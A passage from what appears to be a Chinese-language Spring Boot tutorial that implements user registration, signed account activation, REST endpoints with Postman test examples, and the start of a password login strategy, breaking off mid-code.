class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.service;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.Auth;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.User;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.mapper.AuthMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.mapper.UserMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.RegisterRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.util.HmacUtil;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.util.PasswordEncoder;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.dao.DuplicateKeyException;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Service;</span><br><span class="line"><span class="keyword">import</span> org.springframework.transaction.annotation.Transactional;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 用户服务</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserService</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserMapper userMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AuthMapper authMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> PasswordEncoder passwordEncoder;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> CaptchaService captchaService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> EmailService emailService;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> HmacUtil hmacUtil;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户注册</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 注册请求</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 用户 ID</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">register</span><span class="params">(RegisterRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;开始注册用户: username=&#123;&#125;, email=&#123;&#125;&quot;</span>, request.getUsername(), request.getEmail());</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 1. 验证验证码</span></span><br><span class="line">        <span class="keyword">if</span> (!captchaService.verifyCaptcha(request.getCaptchaKey(), request.getCaptchaCode())) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;验证码错误或已过期&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 检查用户名是否已存在(sys_auth + PASSWORD)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">existingAuth</span> <span class="operator">=</span> authMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">                .eq(Auth::getIdentityType, AuthType.PASSWORD.name())</span><br><span class="line">                .eq(Auth::getIdentifier, request.getUsername()));</span><br><span class="line">        <span class="keyword">if</span> (existingAuth != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户名已存在&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 检查邮箱是否已存在(sys_auth + EMAIL)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">existingEmail</span> <span class="operator">=</span> authMapper.selectOne(<span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">                .eq(Auth::getIdentityType, AuthType.EMAIL.name())</span><br><span class="line">                .eq(Auth::getIdentifier, request.getEmail()));</span><br><span class="line">        <span class="keyword">if</span> (existingEmail != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;邮箱已被注册&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 4. 创建用户主体(sys_user)</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">User</span>();</span><br><span class="line">        user.setNickname(request.getUsername());</span><br><span class="line">        user.setAvatar(<span class="string">&quot;https://cdn.example.com/default-avatar.png&quot;</span>);</span><br><span class="line">        user.setStatus(<span class="number">2</span>);  <span class="comment">// 未激活</span></span><br><span class="line">        userMapper.insert(user);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 5. 创建账号密码凭证(sys_auth + PASSWORD)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">passwordAuth</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Auth</span>();</span><br><span class="line">        passwordAuth.setUserId(user.getId());</span><br><span class="line">        passwordAuth.setIdentityType(AuthType.PASSWORD.name());</span><br><span class="line">        passwordAuth.setIdentifier(request.getUsername());</span><br><span class="line">        passwordAuth.setCredential(passwordEncoder.encode(request.getPassword()));</span><br><span class="line">        passwordAuth.setVerified(<span class="number">0</span>);  <span class="comment">// 未验证</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            authMapper.insert(passwordAuth);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (DuplicateKeyException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户名已存在&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 6. 创建邮箱凭证(sys_auth + EMAIL)</span></span><br><span class="line">        <span class="type">Auth</span> <span class="variable">emailAuth</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Auth</span>();</span><br><span class="line">        emailAuth.setUserId(user.getId());</span><br><span class="line">        emailAuth.setIdentityType(AuthType.EMAIL.name());</span><br><span class="line">        emailAuth.setIdentifier(request.getEmail());</span><br><span class="line">        emailAuth.setCredential(<span class="literal">null</span>);  <span class="comment">// 邮箱不存密码(这里只做激活/找回)</span></span><br><span class="line">        emailAuth.setVerified(<span class="number">0</span>);  <span class="comment">// 未验证</span></span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            authMapper.insert(emailAuth);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (DuplicateKeyException e) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;邮箱已被注册&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 7. 发送激活邮件(异步)</span></span><br><span class="line">        emailService.sendActivationEmail(request.getEmail(), user.getId());</span><br><span class="line"></span><br><span class="line">        log.info(<span class="string">&quot;用户注册成功: userId=&#123;&#125;, username=&#123;&#125;&quot;</span>, user.getId(), request.getUsername());</span><br><span class="line">        <span class="keyword">return</span> user.getId();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 激活账号</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId    用户 ID</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> timestamp 时间戳</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> sign      签名</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Transactional(rollbackFor = Exception.class)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">activateAccount</span><span class="params">(Long userId, Long timestamp, String sign)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;开始激活账号: userId=&#123;&#125;&quot;</span>, userId);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 1. 验证签名</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">data</span> <span class="operator">=</span> userId + <span class="string">&quot;:&quot;</span> + timestamp;</span><br><span class="line">        <span class="keyword">if</span> (!hmacUtil.verify(data, sign)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;激活链接无效&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 验证时间戳(24 小时有效期)</span></span><br><span class="line">        <span class="keyword">if</span> (System.currentTimeMillis() &gt; timestamp) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;激活链接已过期&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 3. 查询用户</span></span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userMapper.selectById(userId);</span><br><span class="line">        <span class="keyword">if</span> (user == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;用户不存在&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 4. 检查是否已激活</span></span><br><span class="line">        <span class="keyword">if</span> (user.getStatus() == <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(<span class="string">&quot;账号已激活,无需重复激活&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 5. 更新用户状态</span></span><br><span class="line">        user.setStatus(<span class="number">1</span>);  <span class="comment">// 启用</span></span><br><span class="line">        userMapper.updateById(user);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 6. 更新该用户所有凭证的验证状态为已验证</span></span><br><span class="line">        authMapper.update(<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">LambdaQueryWrapper</span>&lt;Auth&gt;()</span><br><span class="line">                .eq(Auth::getUserId, userId)</span><br><span class="line">                .set(Auth::getVerified, <span class="number">1</span>));</span><br><span class="line"></span><br><span class="line">        log.info(<span class="string">&quot;账号激活成功: userId=&#123;&#125;&quot;</span>, userId);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 根据用户 ID 查询用户</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId 用户 ID</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 用户信息</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserById</span><span class="params">(Long userId)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userMapper.selectById(userId);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h3 id="实现注册接口">实现注册接口</h3><p>我们不会另起一个“auth-web 模块”的 Controller,而是在 19.2 已经存在的 <code>AuthController</code> 中继续追加注册与激活接口,保持同一个工程、同一个启动类、同一个接口域名。</p><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/controller/AuthController.java</code>(追加)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.controller;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.example.auth.common.Result;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.RegisterRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.service.UserService;</span><br><span class="line"><span class="keyword">import</span> jakarta.validation.Valid;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.bind.annotation.*;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 认证控制器</span></span><br><span class="line"><span class="comment"> * 提供登录、注销、注册、激活、找回密码等接口</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="meta">@RequestMapping(&quot;/auth&quot;)</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AuthController</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserService userService;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户注册接口</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> request 注册请求</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 统一响应格式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@PostMapping(&quot;/register&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;Map&lt;String, Object&gt;&gt; <span class="title function_">register</span><span class="params">(<span class="meta">@Valid</span> <span class="meta">@RequestBody</span> RegisterRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;收到注册请求: username=&#123;&#125;, email=&#123;&#125;&quot;</span>, request.getUsername(), request.getEmail());</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">Long</span> <span class="variable">userId</span> <span class="operator">=</span> userService.register(request);</span><br><span class="line"></span><br><span class="line">            Map&lt;String, Object&gt; data = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">            data.put(<span class="string">&quot;userId&quot;</span>, userId);</span><br><span class="line">            data.put(<span class="string">&quot;message&quot;</span>, <span class="string">&quot;注册成功,请查收激活邮件&quot;</span>);</span><br><span class="line"></span><br><span class="line">            <span class="keyword">return</span> Result.ok(data);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;注册失败&quot;</span>, e);</span><br><span class="line">            <span class="keyword">return</span> Result.fail(e.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 激活账号接口</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> userId    用户 ID</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> timestamp 时间戳</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> sign      签名</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 统一响应格式</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@GetMapping(&quot;/activate&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Result&lt;String&gt; <span class="title function_">activate</span><span class="params">(<span class="meta">@RequestParam</span> Long userId,</span></span><br><span class="line"><span class="params">                                   <span class="meta">@RequestParam</span> Long timestamp,</span></span><br><span class="line"><span class="params">                                   <span class="meta">@RequestParam</span> String sign)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;收到激活请求: userId=&#123;&#125;&quot;</span>, userId);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            userService.activateAccount(userId, timestamp, sign);</span><br><span class="line">            <span class="keyword">return</span> Result.ok(<span class="string">&quot;账号激活成功,请登录&quot;</span>);</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            log.error(<span class="string">&quot;激活失败&quot;</span>, e);</span><br><span class="line">            <span class="keyword">return</span> Result.fail(e.getMessage());</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>说明:这里展示的是“追加部分”。你原来的 <code>/auth/login</code>、<code>/auth/logout</code>、<code>/auth/supported-types</code> 仍然保留,并且登录继续走认证工厂链路 [1]。</p></blockquote><hr><h3 id="Postman-测试">Postman 测试</h3><p><strong>步骤 1:生成验证码</strong></p><ul><li><strong>方法</strong>:<code>GET</code></li><li><strong>URL</strong>:<code>http://localhost:8080/captcha/generate</code></li></ul><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;key&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a1b2c3d4e5f6g7h8&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;image&quot;</span><span class="punctuation">:</span> <span class="string">&quot;data:image/png;base64,iVBORw0KGg...&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 2:注册用户</strong></p><ul><li><strong>方法</strong>:<code>POST</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/register</code></li><li><strong>Body</strong>:</li></ul><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;username&quot;</span><span class="punctuation">:</span> <span class="string">&quot;testuser&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;password&quot;</span><span class="punctuation">:</span> <span class="string">&quot;Test1234&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;email&quot;</span><span class="punctuation">:</span> <span class="string">&quot;test@example.com&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;captchaKey&quot;</span><span class="punctuation">:</span> <span class="string">&quot;a1b2c3d4e5f6g7h8&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;captchaCode&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ABCD&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;userId&quot;</span><span class="punctuation">:</span> <span class="number">1748392847362</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;注册成功,请查收激活邮件&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p><strong>步骤 3:查收激活邮件</strong></p><p>登录邮箱,查看激活邮件,点击激活链接。</p><p><strong>步骤 4:激活账号</strong></p><ul><li><strong>方法</strong>:<code>GET</code></li><li><strong>URL</strong>:<code>http://localhost:8080/auth/activate?userId=1748392847362&amp;timestamp=1735372800000&amp;sign=a1b2c3d4e5f6g7h8</code></li></ul><p><strong>响应示例</strong>:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;code&quot;</span><span class="punctuation">:</span> <span class="number">200</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;message&quot;</span><span class="punctuation">:</span> <span class="string">&quot;操作成功&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;data&quot;</span><span class="punctuation">:</span> <span class="string">&quot;账号激活成功,请登录&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><hr><h2 id="19-3-8-登录流程-实现-PasswordAuthStrategy">19.3.8. 登录流程:实现 PasswordAuthStrategy</h2><p>在上一节中,我们实现了用户注册流程。现在我们需要实现真正的 <code>PasswordAuthStrategy</code>,替换 19.2 中的 <code>MockAuthStrategy</code>。</p><p>这一节最容易写崩的点有两个:</p><ol><li><strong>策略不要生成 Token</strong>,只返回 <code>userId</code>。Token 与会话由 Sa-Token 统一管理,并且由工厂统一调用 <code>StpUtil.login(userId)</code> [1]。</li><li>登录不要再查 <code>sys_user.username/password</code>,因为我们已经把“登录凭证”拆到了 <code>sys_auth</code> 表中 [2]。</li></ol><hr><h3 id="实现-PasswordAuthStrategy">实现 PasswordAuthStrategy</h3><p><strong>📄 文件路径</strong>:<code>src/main/java/com/example/auth/strategy/impl/PasswordAuthStrategy.java</code></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.auth.strategy.impl;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.Auth;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.entity.User;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.enums.AuthType;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.mapper.AuthMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.mapper.UserMapper;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.AuthRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.model.request.PasswordAuthRequest;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.strategy.AuthStrategy;</span><br><span class="line"><span class="keyword">import</span> com.example.auth.util.PasswordEncoder;</span><br><span class="line"><span class="keyword">import</span> lombok.RequiredArgsConstructor;</span><br><span class="line"><span class="keyword">import</span> lombok.extern.slf4j.Slf4j;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 账号密码登录策略</span></span><br><span class="line"><span class="comment"> * 替换 MockAuthStrategy</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Slf4j</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@RequiredArgsConstructor</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PasswordAuthStrategy</span> <span class="keyword">implements</span> <span class="title class_">AuthStrategy</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> AuthMapper authMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> UserMapper userMapper;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> PasswordEncoder passwordEncoder;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> Long <span class="title function_">authenticate</span><span class="params">(AuthRequest request)</span> &#123;</span><br><span class="line">        log.info(<span class="string">&quot;开始执行账号密码登录&quot;</span>);</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 1. 将请求转换为具体类型</span></span><br><span class="line">        <span class="type">PasswordAuthRequest</span> <span class="variable">passwordRequest</span> <span class="operator">=</span> (PasswordAuthRequest) request;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 2. 